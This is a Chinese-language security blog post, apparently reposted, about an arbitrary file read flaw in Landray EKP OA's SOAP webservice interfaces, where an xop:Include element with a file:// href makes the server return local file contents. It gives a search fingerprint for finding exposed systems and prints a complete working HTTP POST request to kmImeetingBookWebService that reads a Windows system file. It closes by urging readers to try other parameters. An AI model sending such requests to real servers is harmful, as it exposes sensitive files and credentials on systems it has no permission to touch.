0x01.技術(shù)文章僅供參考學(xué)習(xí),請勿使用本文中所提供的任何技術(shù)信息或代碼工具進(jìn)行非法測試和違法行為。若使用者利用本文中技術(shù)信息或代碼工具對任何計(jì)算機(jī)系統(tǒng)造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé)。本文所提供的技術(shù)信息或代碼工具僅供于學(xué)習(xí),一切不良后果與文章作者無關(guān)。使用者應(yīng)該遵守法律法規(guī),并尊重他人的合法權(quán)益。藍(lán)凌EKP由深圳市藍(lán)凌軟件股份有限公司自主研發(fā),是一款全程在線數(shù)字化OA,應(yīng)用于大中型企業(yè)在線化辦公,包含流程管理、知識管理、會議管理、公文管理等等。藍(lán)凌0A的thirdImSyncForKKWebService接口存在任意文件讀取漏洞。攻擊者可利用漏洞獲取系統(tǒng)敏感信息。web.icon=="302464c3f6207d57240649926cfc7bd4"
在上一篇文章中分析說了任意文件讀取接口不止那一處,因?yàn)樗斐扇我馕募x取的不是像我們之前常見的filename,path,url這種。而是觸發(fā)漏洞的是soap中包含了xop:Include標(biāo)簽,也就是我可以在poc中的任意位置插入paylaod。SOAP 的 XOP 擴(kuò)展:
xop:Include 是 SOAP 附件優(yōu)化機(jī)制(XML-binary Optimized Packaging)。
如果服務(wù)器端 SOAP 框架支持 XOP,并未禁用 file:// 協(xié)議,它可能會嘗試解析 href 指向的文件內(nèi)容。
觸發(fā)條件:
如果服務(wù)器端解析 SOAP 的 type 字段時(shí),遇到 xop:Include 的 href 屬性,會調(diào)用底層的 URI 解析方法(如 new URL().openStream()),加載指定文件。
那么還有另外的幾個webservice接口中也是存在任意文件讀取漏洞的。kmImeetingBookWebService接口,觸發(fā)漏洞的參數(shù)是count,其實(shí)也就是說在任意的service接口中帶有count參數(shù)或者type參數(shù)都能夠觸發(fā)漏洞。回顯還是正常的base64數(shù)據(jù)需要解密就能或者到數(shù)據(jù)了。POST /sys/webservice/kmImeetingBookWebService HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION=MmM1ZWZjYWQtZDQ1Mi00NWU3LWI4ZmMtNmQwY2UyYWRkNzEz
Connection: close
close
Content-Type: multipart/related; boundary=----oxmmdmlnvlx08yluof5q
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 597
------oxmmdmlnvlx08yluof5q
Content-Disposition: form-data; name="111"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.imeeting.km.kmss.landray.com/">
<soapenv:Header/>
<soapenv:Body>
<web:getImeetingBook>
<arg0>
<count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///C:\Windows\System32\drivers\etc\hosts"/></count>
</arg0>
</web:getImeetingBook>
</soapenv:Body>
</soapenv:Envelope>
------oxmmdmlnvlx08yluof5q--
其實(shí)還有好幾個參數(shù)都存在大家可以去試試?
閱讀原文:原文鏈接
該文章在 2025/1/10 10:34:51 編輯過